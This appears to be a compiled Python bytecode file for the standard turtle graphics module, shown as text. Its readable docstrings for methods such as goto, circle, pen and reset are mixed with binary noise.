returned by pos() Move turtle to an absolute position. If the pen is down, a line will be drawn. The turtle's orientation does not change. Example (for a Turtle instance named turtle): >>> tp = turtle.pos() >>> tp (0.00, 0.00) >>> turtle.setpos(60,30) >>> turtle.pos() (60.00,30.00) >>> turtle.setpos((20,80)) >>> turtle.pos() (20.00,80.00) >>> turtle.setpos(tp) >>> turtle.pos() (0.00,0.00) N)ròr)rÍrÅrÆs r°rJzTNavigator.gotoÎs+€ð< ˆ9Ø �J‰J”u˜a�yÕ !à �J‰J”u˜Q “{Õ #rÇcóJ—|jdd«|jd«y)a$Move turtle to the origin - coordinates (0,0). No arguments. Move turtle to the origin - coordinates (0,0) and set its heading to its start-orientation (which depends on mode). Example (for a Turtle instance named turtle): >>> turtle.home() rN)rJrerÚs r°rMzTNavigator.homeñs€ð � ‰ �!�QŒØ �‰˜ÕrÇcóT—|jt||jd««y)a…Set the turtle's first coordinate to x Argument: x -- a number (integer or float) Set the turtle's first coordinate to x, leave second coordinate unchanged. Example (for a Turtle instance named turtle): >>> turtle.position() (0.00, 240.00) >>> turtle.setx(10) >>> turtle.position() (10.00, 240.00) rÊN©ròrrã)rÍrÅs r°rjzTNavigator.setxÿs €ð � ‰ ”5˜˜DŸN™N¨1Ñ-Ó.Õ/rÇcóT—|jt|jd|««y)a‡Set the turtle's second coordinate to y Argument: y -- a number (integer or float) Set the turtle's first coordinate to x, second coordinate remains unchanged. Example (for a Turtle instance named turtle): >>> turtle.position() (0.00, 40.00) >>> turtle.sety(-10) >>> turtle.position() (0.00, -10.00) rNr)rÍrÆs r°rkzTNavigator.setys €ð � ‰ ”5˜Ÿ™¨Ñ*¨AÓ.Õ/rÇcóÞ—|� t||«}t|t«r|}n5t|t«r t|Ž}nt|t«r |j}t |jz «S)aëReturn the distance from the turtle to (x,y) in turtle step units. Arguments: x -- a number or a pair/vector of numbers or a turtle instance y -- a number None None call: distance(x, y) # two coordinates --or: distance((x, y)) # a pair (tuple) of coordinates --or: distance(vec) # e.g. as returned by pos() --or: distance(mypen) # where mypen is another turtle Example (for a Turtle instance named turtle): >>> turtle.pos() (0.00, 0.00) >>> turtle.distance(30,40) 50.0 >>> pen = Turtle() >>> pen.forward(77) >>> turtle.distance(pen) 77.0 )rrÒrÂrÚrãÚabs)rÍrÅrÆr\s r°r<zTNavigator.distance#s]€ð, ˆ=ܘ˜1“+ˆCÜ �aœÔ ؉CÜ ˜œ5Ô !ܘ�)‰CÜ ˜œ:Ô &Ø—+‘+ˆCÜ�3˜Ÿ™Ñ'Ó(Ð(rÇcó®—|� t||«}t|t«r|}n5t|t«r t|Ž}nt|t«r |j}|jz \}}t t jt j||««d«dz}||jz}|j|j|zz|jzS)aCReturn the angle of the line from the turtle's position to (x, y). Arguments: x -- a number or a pair/vector of numbers or a turtle instance y -- a number None None call: distance(x, y) # two coordinates --or: distance((x, y)) # a pair (tuple) of coordinates --or: distance(vec) # e.g. as returned by pos() --or: distance(mypen) # where mypen is another turtle Return the angle, between the line from turtle-position to position specified by x, y and the turtle's start orientation. (Depends on modes - "standard" or "logo") Example (for a Turtle instance named turtle): >>> turtle.pos() (10.00, 10.00) >>> turtle.towards(0,0) 225.0 r‹ç€v@) rrÒrÂrÚrãr¨rÝr;Úatan2rêrÞràrè)rÍrÅrÆr\Úresults r°rwzTNavigator.towardsCs·€ð, ˆ=ܘ˜1“+ˆCÜ �aœÔ ؉CÜ ˜œ5Ô !ܘ�)‰CÜ ˜œ:Ô &Ø—+‘+ˆCØ�T—^‘^Ñ#‰ˆˆ1Ü”t—|‘|¤D§J¡J¨q°!Ó$4Ó5°rÓ:¸UÑBˆØ�$×$Ñ$Ñ$ˆØ×!Ñ! D×$5Ñ$5°fÑ$<Ñ<À×@PÑ@PÑPÐPrÇcóü—|j\}}ttjtj||««d«dz}||j z}|j |j|zz|jzS)z Return the turtle's current heading. No arguments. Example (for a Turtle instance named turtle): >>> turtle.left(67) >>> turtle.heading() 67.0 r‹r) rår¨rÝr;rrêrÞràrè)rÍrÅrÆrs r°rKzTNavigator.headingfsm€ð�|‰|‰ˆˆ1Ü”t—|‘|¤D§J¡J¨q°!Ó$4Ó5°rÓ:¸UÑBˆØ�$×$Ñ$Ñ$ˆØ×!Ñ! D×$5Ñ$5°fÑ$<Ñ<À×@PÑ@PÑPÐPrÇcó —||j«z |jz}|j}||dz z|z|dz z }|j|«y)ažSet the orientation of the turtle to to_angle. Aliases: setheading | seth Argument: to_angle -- a number (integer or float) Set the orientation of the turtle to to_angle. Here are some common directions in degrees: standard - mode: logo-mode: -------------------|-------------------- 0 - east 0 - north 90 - north 90 - east 180 - west 180 - south 270 - south 270 - west Example (for a Turtle instance named turtle): >>> turtle.setheading(90) >>> turtle.heading() 90 ç@N)rKràrèr÷)rÍÚto_anglerãÚfulls r°rezTNavigator.setheadingusQ€ð.˜DŸL™L›NÑ*¨D×,=Ñ,=Ñ=ˆØ×шØ�t˜B‘w‘ Ñ$ t¨B¡wÑ.ˆØ � ‰ �UÕrÇc óò—|jr-|jjdg«d|j_|j«}|€ |j}|€Bt |«|jz }dt tdt |«dz zd«|z«z}d|z|z }d |z}d |ztjtj|«|jz«z}|d kr | | | }}}|j«} |j«} |d k(r|jd d «n|jd «|j|«t|«D]F} |j|«|j!|«|jd «|j|«ŒH|j| «|d k(r|j| | «|j|«|jrd |j_yy) aë Draw a circle with given radius. Arguments: radius -- a number extent (optional) -- a number steps (optional) -- an integer Draw a circle with given radius. The center is radius units left of the turtle; extent - an angle - determines which part of the circle is drawn. If extent is not given, draw the entire circle. If extent is not a full circle, one endpoint of the arc is the current pen position. Draw the arc in counterclockwise direction if radius is positive, otherwise in clockwise direction. Finally the direction of the turtle is changed by the amount of extent. As the circle is approximated by an inscribed regular polygon, steps determines the number of steps to use. If not given, it will be calculated automatically. Maybe used to draw regular polygons. call: circle(radius) # full circle --or: circle(radius, extent) # arc --or: circle(radius, extent, steps) --or: circle(radius, steps=6) # 6-sided polygon Example (for a Turtle instance named turtle): >>> turtle.circle(50) >>> turtle.circle(120, 180) # semicircle ÚseqTNrÊé g@g€M@rŠrƒrrF)rárHrErqrèrr¨ÚminrÝrâr_rêÚ_tracerr¸r÷r rô) rÍÚradiusÚextentÚstepsrqÚfracr’Úw2ÚlÚtrÚdlr s r°r5zTNavigator.circle‘s©€ð< �?Š?Ø �O‰O× Ñ  % Ô )Ø'+ˆD�O‰OÔ $Ø— ‘ “ ˆØ ˆ>Ø×%Ñ%ˆFØ ˆ=Ü�v“;˜t×/Ñ/Ñ/ˆDØ”cœ#˜b¤ V£¨S¡Ñ0°$Ó7¸Ñ<Ó=Ñ=ˆEØ �&‰L˜5Ñ ˆØ �1‰WˆØ �&‰Lœ4Ÿ8™8¤D§L¡L°Ó$4°T×5GÑ5GÑ$GÓHÑ HˆØ �AŠ:Ø�r˜A˜2 ˜s�"ˆqˆAØ �\‰\‹^ˆØ �[‰[‹]ˆØ �AŠ:Ø �L‰L˜˜AÕ à �J‰J�qŒMØ � ‰ �RÔÜ�u–ˆAØ �J‰J�uÔ Ø �H‰H�QŒKØ �J‰J�qŒMØ �L‰L˜�Oð ð � ‰ �b�SÔØ �AŠ:Ø �L‰L˜˜RÔ Ø � ‰ �5ÔØ �?Š?Ø',ˆD�O‰OÕ $ð rÇcó—y©z/dummy method - to be overwritten by child classNré)rÍræs r°rqzTNavigator.speedÒó�rÇcó—yr*ré)rÍÚarªs r°r zTNavigator._tracerÔr+rÇcó—yr*ré)rÍrºs r°r¸zTNavigator._delayÖr+rÇrÁ)rr×rØ)0rírîrïrðrräÚ DEFAULT_MODErÝrßr/rarµrír;r_rôr÷ròÚboolrtrDr0r`rQr\r~rrJrMrjrkr<rwrKrer5rqr r¸rAr4r1rcrRr]rfrgrdrérÇr°rÚrÚÞs„ññ˜#˜s“OÙ˜#˜s“OÙ˜#˜s“Oñ'Ðð€LØÐØÐà(óòAó #ò.ó*ò0 (òò 2ò ð-¸5ò-°Dð-ÀTó-òò.ò(ò*ò* ò !ò !ó!$òF ò0ò$0ó$)ó@!QòF Qòó8=-óB>ó>ó>ð €BØ €BØ€HØ €BØ €BØ€HØ €FØ€KØ �DrÇrÚcóÞ—eZdZdZedfd„Zededfd„Zdd„Zdd „Zd „Z d „Z d „Z dd „Z d„Z d„Zd„Zdddœdeddfd„Zd„Zd„Zd„Zdd„Zd d„Zd!d„Zd„Zd„ZeZe Ze Ze Ze ZeZeZ y)"ÚTPenzFDrawing part of the RawTurtle. Implements drawing properties. rbcóJ—||_d|_tj|«yrÁ)Ú _resizemoderár2Ú_reset)rÍrbs r°r/z TPen.__init__ès€Ø%ˆÔ؈ŒÜ � ‰ �DÕrÇrXrBcóž—d|_d|_||_||_d|_d|_d|_d|_d|_d|_ d|_ y)NrÊTr†)rŠrŠrÛ)rŠrÛrÛrŠ) Ú_pensizeÚ_shownÚ _pencolorÚ _fillcolorÚ_drawingÚ_speedÚ_stretchfactorÚ _shearfactorÚ_tiltÚ _shapetrafoÚ _outlinewidth)rÍrXrBs r°r5z TPen._resetísS€àˆŒ ؈Œ Ø!ˆŒØ#ˆŒØˆŒ ؈Œ Ø&ˆÔØˆÔØˆŒ Ø+ˆÔ؈ÕrÇNcón—|€ |jS|j«}|dvr|j|¬«yy)azSet resizemode to one of the values: "auto", "user", "noresize". (Optional) Argument: rmode -- one of the strings "auto", "user", "noresize" Different resizemodes have the following effects: - "auto" adapts the appearance of the turtle corresponding to the value of pensize. - "user" adapts the appearance of the turtle according to the values of stretchfactor and outlinewidth (outline), which are set by shapesize() - "noresize" no adaption of the turtle's appearance takes place. If no argument is given, return current resizemode. resizemode("user") is called by a call of shapesize with arguments. Examples (for a Turtle instance named turtle): >>> turtle.resizemode("noresize") >>> turtle.resizemode() 'noresize' N)ÚautoÚuserr�©rb)r4r7rW)rÍÚrmodes r°rbzTPen.resizemodeûs<€ð, ˆ=Ø×#Ñ#Ð #Ø— ‘ “ ˆØ Ð0Ñ 0Ø �H‰H ˆHÕ &ð 1rÇcóD—|€ |jS|j|¬«y)a!Set or return the line thickness. Aliases: pensize | width Argument: width -- positive number Set the line thickness to width or return it. If resizemode is set to "auto" and turtleshape is a polygon, that polygon is drawn with the same line thickness. If no argument is given, current pensize is returned. Example (for a Turtle instance named turtle): >>> turtle.pensize() 1 >>> turtle.pensize(10) # from here on lines of width 10 are drawn N)rZ)r7rW)rÍr|s r°rZz TPen.pensizes!€ð$ ˆ=Ø—=‘=Ð Ø �‰˜ˆÕrÇcóB—|jsy|jd¬«y)z¼Pull the pen up -- no drawing when moving. Aliases: penup | pu | up No argument Example (for a Turtle instance named turtle): >>> turtle.penup() NF©rY©r;rWrÚs r°r[z TPen.penup.s€ð�}Š}Ø Ø �‰˜ˆÕrÇcóB—|jry|jd¬«y)zÂPull the pen down -- drawing when moving. Aliases: pendown | pd | down No argument. Example (for a Turtle instance named turtle): >>> turtle.pendown() NTrIrJrÚs r°rYz TPen.pendown<s€ð �=Š=Ø Ø �‰˜ˆÕrÇcó—|jS)aReturn True if pen is down, False if it's up. No argument. Example (for a Turtle instance named turtle): >>> turtle.penup() >>> turtle.isdown() False >>> turtle.pendown() >>> turtle.isdown() True )r;rÚs r°rOz TPen.isdownJs€ð�}‰}ÐrÇcó²—ddddddœ}|€ |jS||vr||}n%d|cxkrd krnntt|««}nd}|j|¬ «y) a¤ Return or set the turtle's speed. Optional argument: speed -- an integer in the range 0..10 or a speedstring (see below) Set the turtle's speed to an integer value in the range 0 .. 10. If no argument is given: return current speed. If input is a number greater than 10 or smaller than 0.5, speed is set to 0. Speedstrings are mapped to speedvalues in the following way: 'fastest' : 0 'fast' : 10 'normal' : 6 'slow' : 3 'slowest' : 1 speeds from 1 to 10 enforce increasingly faster animation of line drawing and turtle turning. Attention: speed = 0 : *no* animation takes place. forward/back makes turtle jump and likewise left/right make the turtle turn instantly. Example (for a Turtle instance named turtle): >>> turtle.speed(3) rr‹rfr†rÊ)ÚfastestÚfastÚnormalÚslowÚslowestNrƒg%@)rq)r<r¨r¨rW)rÍrqÚspeedss r°rqz TPen.speedYsa€ð6 b°1¸QÈ!ÑMˆØ ˆ=Ø—;‘;Ð Ø �F‰?ؘ5‘M‰EØ �5Ô ˜4Õ Üœ˜e› Ó%‰EàˆEØ �‰�uˆÕrÇcó6—|rbt|«}|dk(r|dx}}n|dk(r|\}}n |dk(r|x}}|j«}|j«}|j||¬«y|j|j«|j|j «fS)a›Return or set the pencolor and fillcolor. Arguments: Several input formats are allowed. They use 0, 1, 2, or 3 arguments as follows: color() Return the current pencolor and the current fillcolor as a pair of color specification strings as are returned by pencolor and fillcolor. color(colorstring), color((r,g,b)), color(r,g,b) inputs as in pencolor, set both, fillcolor and pencolor, to the given value. color(colorstring1, colorstring2), color((r1,g1,b1), (r2,g2,b2)) equivalent to pencolor(colorstring1) and fillcolor(colorstring2) and analogously, if the other input format is used. If turtleshape is a polygon, outline and interior of that polygon is drawn with the newly set colors. For more info see: pencolor, fillcolor Example (for a Turtle instance named turtle): >>> turtle.color('red', 'green') >>> turtle.color() ('red', 'green') >>> colormode(255) >>> color((40, 80, 120), (160, 200, 240)) >>> color() ('#285078', '#a0c8f0') rÊrrr†)rXrBN)r r«rWr±r9r:)rÍrXr&ÚpcolorÚfcolors r°r:z TPen.colors˜€ñ@ Ü�D“ ˆAØ�AŠvØ"& q¡'Ð)�™Ø�a’Ø!%‘�™Ø�a’Ø"&Ð&�˜Ø—^‘^ FÓ+ˆFØ—^‘^ FÓ+ˆFØ �H‰H˜f°ˆHÕ 7à—;‘;˜tŸ~™~Ó.°· ± ¸D¿O¹OÓ0LÐLÐ LrÇcó¤—|r4|j|«}||jk(ry|j|¬«y|j|j«S)aZ Return or set the pencolor. Arguments: Four input formats are allowed: - pencolor() Return the current pencolor as color specification string, possibly in hex-number format (see example). May be used as input to another color/pencolor/fillcolor call. - pencolor(colorstring) s is a Tk color specification string, such as "red" or "yellow" - pencolor((r, g, b)) *a tuple* of r, g, and b, which represent, an RGB color, and each of r, g, and b are in the range 0..colormode, where colormode is either 1.0 or 255 - pencolor(r, g, b) r, g, and b represent an RGB color, and each of r, g, and b are in the range 0..colormode If turtleshape is a polygon, the outline of that polygon is drawn with the newly set pencolor. Example (for a Turtle instance named turtle): >>> turtle.pencolor('brown') >>> tup = (0.2, 0.8, 0.55) >>> turtle.pencolor(tup) >>> turtle.pencolor() '#33cc8c' N)rX)r«r9rWr±r¸s r°rXz TPen.pencolor­sE€ñ: Ø—N‘N 4Ó(ˆEؘŸ™Ò&ØØ �H‰H˜eˆHÕ $à—;‘;˜tŸ~™~Ó.Ð .rÇcó¤—|r4|j|«}||jk(ry|j|¬«y|j|j«S)a] Return or set the fillcolor. Arguments: Four input formats are allowed: - fillcolor() Return the current fillcolor as color specification string, possibly in hex-number format (see example). May be used as input to another color/pencolor/fillcolor call. - fillcolor(colorstring) s is a Tk color specification string, such as "red" or "yellow" - fillcolor((r, g, b)) *a tuple* of r, g, and b, which represent, an RGB color, and each of r, g, and b are in the range 0..colormode, where colormode is either 1.0 or 255 - fillcolor(r, g, b) r, g, and b represent an RGB color, and each of r, g, and b are in the range 0..colormode If turtleshape is a polygon, the interior of that polygon is drawn with the newly set fillcolor. Example (for a Turtle instance named turtle): >>> turtle.fillcolor('violet') >>> col = turtle.pencolor() >>> turtle.fillcolor(col) >>> turtle.fillcolor(0, .5, 0) N)rB)r«r:rWr±r¸s r°rBzTPen.fillcolorÒsE€ñ8 Ø—N‘N 4Ó(ˆEؘŸ™Ò'ØØ �H‰H˜uˆHÕ %à—;‘;˜tŸ™Ó/Ð /rÇFrûrürýcóp—|j«}|r|jd¬«|j|¬«y)z_To be overwritten by child class RawTurtle. Includes no TNavigator references. FrIN)rOrW)rÍrÅrÆrürYs r°rtz TPen.teleportös.€ð—+‘+“-ˆÙ Ø �H‰H˜UˆHÔ #Ø �‰˜ˆÕ!rÇcó(—|jd¬«y)zÑMakes the turtle visible. Aliases: showturtle | st No argument. Example (for a Turtle instance named turtle): >>> turtle.hideturtle() >>> turtle.showturtle() T©ÚshownN©rWrÚs r°rpzTPen.showturtleÿs€ð �‰�tˆÕrÇcó(—|jd¬«y)aYMakes the turtle invisible. Aliases: hideturtle | ht No argument. It's a good idea to do this while you're in the middle of a complicated drawing, because hiding the turtle speeds up the drawing observably. Example (for a Turtle instance named turtle): >>> turtle.hideturtle() Fr[Nr]rÚs r°rLzTPen.hideturtle s€ð �‰�uˆÕrÇcó—|jS)zãReturn True if the Turtle is shown, False if it's hidden. No argument. Example (for a Turtle instance named turtle): >>> turtle.hideturtle() >>> print(turtle.isvisible()) False )r8rÚs r°rPzTPen.isvisible s€ð�{‰{ÐrÇc óÊ—|j|j|j|j|j|j |j |j|j|j|jdœ }|s|s|St|t«r|}ni}|j|«i}|D] }||||<Œ |jr|jjd|f«d}d|vr|j|dk7rd}d|vr?t|dt «r|j#|df«|d<|j|dk7rd}d|vr|j|dk7rd}|r|j%«d|vr |d|_d|vr |d|_d|vr |d|_d|vr5t|dt «r|j#|df«|d<|d|_d |vr |d |_d |vr |d |_d |vr&|d }t|t&t(f«r||f}||_d |vr |d |_d |vr |d |_ d|vr |d|_d|vr |d|_ d |vsd|vsd |vr}|j\} } |j} t+j,|j«t+j.|j«} } | | z| | | z| zz| | z| | | | zz zf|_|j3«y)aLReturn or set the pen's attributes. Arguments: pen -- a dictionary with some or all of the below listed keys. **pendict -- one or more keyword-arguments with the below listed keys as keywords. Return or set the pen's attributes in a 'pen-dictionary' with the following key/value pairs: "shown" : True/False "pendown" : True/False "pencolor" : color-string or color-tuple "fillcolor" : color-string or color-tuple "pensize" : positive number "speed" : number in range 0..10 "resizemode" : "auto" or "user" or "noresize" "stretchfactor": (positive number, positive number) "shearfactor": number "outline" : positive number "tilt" : number This dictionary can be used as argument for a subsequent pen()-call to restore the former pen-state. Moreover one or more of these attributes can be provided as keyword-arguments. This can be used to set several pen attributes in one statement. Examples (for a Turtle instance named turtle): >>> turtle.pen(fillcolor="black", pencolor="red", pensize=10) >>> turtle.pen() {'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1, 'pencolor': 'red', 'pendown': True, 'fillcolor': 'black', 'stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0} >>> penstate=turtle.pen() >>> turtle.color("yellow","") >>> turtle.penup() >>> turtle.pen() {'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1, 'pencolor': 'yellow', 'pendown': False, 'fillcolor': '', 'stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0} >>> p.pen(penstate, fillcolor="green") >>> p.pen() {'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1, 'pencolor': 'red', 'pendown': True, 'fillcolor': 'green', 'stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0} ) r\rYrXrBrZrqrbÚ stretchfactorror–rurWFrYTrXrZrBrqrbraror–r\ruN)r8r;r9r:r7r<r4r=r>rAr?rÒÚdictr-rárHrÂr«Ú_newLiner¨r§rÝrârár@r´)rÍrWÚpendictÚ_pdÚpÚ_p_bufr®ÚnewLineÚsfÚscxÚscyÚshfÚsaÚcas r°rWzTPen.pen( sú€ð^#'§+¡+Ø"&§-¡-Ø"&§.¡.Ø"&§/¡/Ø"&§-¡-Ø"&§+¡+Ø"&×"2Ñ"2Ø"&×"5Ñ"5Ø"&×"3Ñ"3Ø"&×"4Ñ"4Ø"&§*¡*ñ ˆñ‘w؈Jä �cœ4Ô Ø‰AàˆAØ �‰�ÔàˆÛˆCؘc™(ˆF�3ŠKðð �?Š?Ø �O‰O× Ñ  %¨ Ô 1àˆØ ˜‰>Ø�}‰}  )¡ Ò,Ø�Ø ˜‰?ܘ!˜J™-¬Ô/Ø $§¡°°*± Ð/?Ó @��*‘ Ø�~‰~  :¡Ò.Ø�Ø ˜‰>Ø�}‰}  )¡ Ò,Ø�Ù Ø �M‰MŒOØ ˜‰>ؘi™LˆDŒMØ ˜‰?ؘz™]ˆDŒNØ ˜‰>ؘi™LˆDŒMØ ˜!Ñ Ü˜!˜K™.¬%Ô0Ø!%§¡°°;±Ð0AÓ!B��+‘Ø  ™nˆDŒOØ �a‰<ؘG™*ˆDŒKØ ˜1Ñ Ø  ™ˆDÔ Ø ˜aÑ Ø�?Ñ#ˆBܘ"œs¤E˜lÔ+ؘ"�X�Ø"$ˆDÔ Ø ˜AÑ Ø ! -Ñ 0ˆDÔ Ø ˜‰>Ø!" 9¡ˆDÔ Ø �a‰<ؘG™*ˆDŒKØ �Q‰;ؘ6™ˆDŒJØ ˜aÑ  6¨Q¡;°-À1Ñ2DØ×*Ñ*‰HˆC�Ø×#Ñ#ˆCÜ—X‘X˜dŸj™jÓ)¬4¯8©8°D·J±JÓ+?�ˆBØ!$ R¡¨¨c°"©f°r©kÑ):Ø!$  R¡¨¨b°3°r±6©kÑ):ð <ˆDÔ à � ‰ �rÇcó—yr*ré©rÍÚusePoss r°rcz TPen._newLine§ r+rÇcó—yr*ré)rÍrLÚforceds r°r´z TPen._update© r+rÇcó—yr*rérWs r°r±z TPen._color« r+rÇcó—yr*rérWs r°r«zTPen._colorstr­ r+rÇrÁrשT)TF)!rírîrïrðr·r/r5rbrZr[rYrOrqr:rXrBr0rtrprLrPrWrcr´r±r«r|r{r^rVr>rrrNrérÇr°r2r2äsÈ„ñð#' |Ñ"4óð # :Ñ.Ø# KÑ0ó ó'ó8 ò.  ò ò ó$òL,Mò\#/òJ"0ðH"¸5ò"°Dð"ÀTó"ò òò ó{ó~>ó>ò>ò>ð €EØ €BØ €BØ €BØ €DØ €BØ �BrÇr2có—eZdZdZd„Zd„Zy)Ú _TurtleImagez6Helper class: Datatype to store Turtle attributes cóB—||_d|_|j|«yrÁ)r•rÚ _setshape)rÍr•Ú shapeIndexs r°r/z_TurtleImage.__init__½ s€ØˆŒ ؈Œ Ø �‰�zÕ"rÇcó6—|j}||_|jdcxk(r|j|jk(ry|jdcxk(r|j|jk(ry|jdvr|j |j «n1|jdk(r"|j D]}|j |«Œ|j|j|_|jdk(r|j «|_y|jdk(r.|j|jdj«|_y|jdk(r;|j|jD�cgc]}|j «‘Œc}|_yycc}w)Nr4rý)rýr4r6rˆ) r•r{rrzr²Ú_itemr˜rÿr9)rÍr{r•r±s r°rzz_TurtleImage._setshape sV€Ø—‘ˆØ$ˆŒØ �:‰:˜Ô F f§n¡n°ZÑ&@×&FÑ&FÒ FØ ð Gà �:‰:˜Ô D F§N¡N°:Ñ$>×$DÑ$DÒ DØ ð Eà �:‰:Ð-Ñ -Ø �N‰N˜4Ÿ:™:Õ &Ø �Z‰Z˜:Ò %ØŸ œ �Ø—‘˜tÕ$ð#à—^‘^ JÑ/×5Ñ5ˆŒ Ø �:‰:˜Ò "Ø×+Ñ+Ó-ˆD�JØ �Z‰Z˜7Ò "Ø×,Ñ,¨V¯^©^¸GÑ-D×-JÑ-JÓKˆD�JØ �Z‰Z˜:Ò %à*0¯.©.¸Ñ*D×*JÒ*JóLÙ*Jð48˜&×,Ñ,Õ.Ø*JñLˆD�Jð&ùòLsÅ5FN)rírîrïrðr/rzrérÇr°rxrx¹ s„ñò#ó LrÇrxcó”—eZdZdZgZdedededfd„Zd„Zd„Zd „Z d „Z d „Z d „Z d „Z dd„Zd=d„Zd„Zd=d„Zd„Zd?d„Zd„Zd „Zd@d!„Zd"„Zd#„Z d$„Z!d%„Z"d=d&„Z#d'„Z$d(„Z%d)„Z&dAd*„Z'd+„Z(d,„Z)d-„Z*d=d.„Z+d/„Z,dBd0„Z-d1„Z.d2„Z/d3„Z0d4„Z1d5„Z2e2Z3d=d6„Z4dCd7„Z5dCd8„Z6dCd9„Z7d:„Z8d;„Z9eZ:y)Dr zvAnimation part of the RawTurtle. Puts RawTurtle upon a TurtleScreen and provides tools for its animation. NrlrŒr�có —t|t«r||_nÔt|t«r9|tj vrtj j |«||_n‹t|ttf«rgtj D]}|j|k(sŒ||_nIt|«|_tj j |j«ntd|z«‚|j}tj||j««tj|«|jj |«|j!«|_t%||«|_d|_d|_dx|_|_||_d|_|j!«|_|j6g|_|j4g|_g|_||_tA|«|_!|jE«y)Nzbad canvas argument %sF)#rÒÚ_Screenr•r r Úscreensr�rr2r‡r1rÚr/rr2r‹rªÚdrawingLineItemrxr”Ú_polyÚ _creatingPolyÚ _fillitemÚ _fillpathr8Ú_hidden_from_screenÚcurrentLineItemrãÚ currentLinerøÚ stampItemsÚ_undobuffersizer@rár´)rÍÚcanvasrlrŒr�r•s r°r/zRawTurtle.__init__ß s�€ô �fœgÔ &Ø ˆD�KÜ ˜¤ Ô -ØœY×.Ñ.Ñ.Ü×!Ñ!×(Ñ(¨Ô0Ø ˆD�KÜ ˜¤´Ð 8Ô 9Ü#×+Ô+�Ø—9‘9 Ó&Ø"(�D”KÙð,ô +¨6Ó2�” Ü×!Ñ!×(Ñ(¨¯©Õ5ä%Ð&>ÀÑ&GÓHÐ Hà—‘ˆÜ×јD &§+¡+£-Ô0Ü � ‰ �dÔØ�‰×јtÔ$Ø%×1Ñ1Ó3ˆÔÜ" 6¨5Ó1ˆŒ ؈Œ Ø"ˆÔØ*.Ð.ˆŒ˜œØˆŒ Ø#(ˆÔ Ø%×1Ñ1Ó3ˆÔØ ŸN™NÐ+ˆÔØ×*Ñ*Ð+ˆŒ ؈ŒØ-ˆÔÜ! .Ó1ˆŒØ � ‰ �rÇcó¸—tj|«tj|«|j «|j «|j «y)aäDelete the turtle's drawings and restore its default values. No argument. Delete the turtle's drawings from the screen, re-center the turtle and set variables to the default values. Example (for a Turtle instance named turtle): >>> turtle.position() (0.00,-22.00) >>> turtle.heading() 100.0 >>> turtle.reset() >>> turtle.position() (0.00,0.00) >>> turtle.heading() 0.0 N)rÚrar2r5Ú_clearrÁr´rÚs r°razRawTurtle.reset s<€ô& ×јÔÜ � ‰ �DÔØ � ‰ Œ Ø ×ÑÔØ � ‰ �rÇcóB—|�|dkrd|_yt|«|_y)a¢Set or disable undobuffer. Argument: size -- an integer or None If size is an integer an empty undobuffer of given size is installed. Size gives the maximum number of turtle-actions that can be undone by the undo() function. If size is None, no undobuffer is present. Example (for a Turtle instance named turtle): >>> turtle.setundobuffer(42) Nr)rár@)rÍÚsizes r°rizRawTurtle.setundobuffer s!€ð ˆ<˜4 1š9Ø"ˆD�Oä% d›mˆD�OrÇcóP—|j€y|jj«S)z¾Return count of entries in the undobuffer. No argument. Example (for a Turtle instance named turtle): >>> while undobufferentries(): ... undo() r)rárMrÚs r°rzzRawTurtle.undobufferentries3 s$€ð �?‰?Ð "ØØ�‰×*Ñ*Ó,Ð,rÇcó —dx|_|_|jD]}|jj |«Œ|jj «|_g|_|jr%|jj|j«|j g|_|j«|j|j«y)zDelete all of pen's drawingsN)r…r†rør•r²rªrˆr‰r;r�rãr8rir‹r°s r°rŽzRawTurtle._clear@ sœ€à*.Ð.ˆŒ˜œØ—J”JˆDØ �K‰K× Ñ  Õ %ðà#Ÿ{™{×6Ñ6Ó8ˆÔØˆÔØ �=Š=Ø × Ñ × #Ñ # D§N¡NÔ 3Ø×*Ñ*Ð+ˆŒ Ø ×ÑÔØ ×ј4×/Ñ/Õ0rÇcóD—|j«|j«y)agDelete the turtle's drawings from the screen. Do not move turtle. No arguments. Delete the turtle's drawings from the screen. Do not move turtle. State and position of the turtle as well as drawings of other turtles are not affected. Examples (for a Turtle instance named turtle): >>> turtle.clear() N)rŽr´rÚs r°r6zRawTurtle.clearN s€ð � ‰ Œ Ø � ‰ �rÇcó*—|jj«|jjdk7ryt|j«dkDrG|jj |j |j|j|j«yyrÉ) r•r¾rŠr r‰r­rˆr9r7rÚs r°rÀzRawTurtle._update_data] so€Ø � ‰ ×!Ñ!Ô#Ø �;‰;× %Ñ %¨Ò *Ø Ü ˆt×ÑÓ  Ò "Ø �K‰K× !Ñ ! $×"6Ñ"6¸×8HÑ8HØ"&§.¡.°$·-±-õ Að #rÇcóœ—|j}|jdk(ry|jdk(rL|j«|j«|j «|j |j «y|j«|jdk(r6|j«D]}|j«Œ|j «yy)z&Perform a Turtle-data update. rNrÊ) r•r‰rÀrÁr´r¸r}rŠr,)rÍr•rùs r°r´zRawTurtle._updatee sŸ€ð—‘ˆØ �?‰?˜aÒ Ø Ø �_‰_ Ò !Ø × Ñ Ô Ø × Ñ Ô Ø �N‰NÔ Ø �M‰M˜&×,Ñ,Õ -à × Ñ Ô Ø×$Ñ$¨Ò)ØŸ™Ö)�AØ—M‘M•Oð*à—‘Õ ð*rÇcó:—|jj||«S)amTurns turtle animation on/off and set delay for update drawings. Optional arguments: n -- nonnegative integer delay -- nonnegative integer If n is given, only each n-th regular screen update is really performed. (Can be used to accelerate the drawing of complex graphics.) Second arguments sets delay value (see RawTurtle.delay()) Example (for a Turtle instance named turtle): >>> turtle.tracer(8, 25) >>> dist = 2 >>> for i in range(200): ... turtle.fd(dist) ... turtle.rt(90) ... dist += 2 )r•r+)rÍÚflagrs r°r zRawTurtle._tracerw s€ð&�{‰{×!Ñ! $¨Ó.Ð.rÇcó8—|jj|«SrÁ)r•r±rWs r°r±zRawTurtle._colorŒ s€Ø�{‰{×!Ñ! $Ó'Ð'rÇcó8—|jj|«SrÁ)r•r«rWs r°r«zRawTurtle._colorstr� s€Ø�{‰{×$Ñ$ TÓ*Ð*rÇcóš—t|t«r|S |\}}}|j j dk(r#|||fD�cgc]}td|z«‘Œc}\}}}d|cxkrdkrnnd|cxkrdkrnn d|cxkrdksnt dt|«z«‚d|||fzS#ttf$rt dt|«z«‚wxYwcc}w)z,Convert colortriples to hexstrings. r¢rŠr£rr¤r¥r¦)rÒrr§r¤r1r•r~r¨)rÍrXr™r©rªrÅs r°Ú_ccz 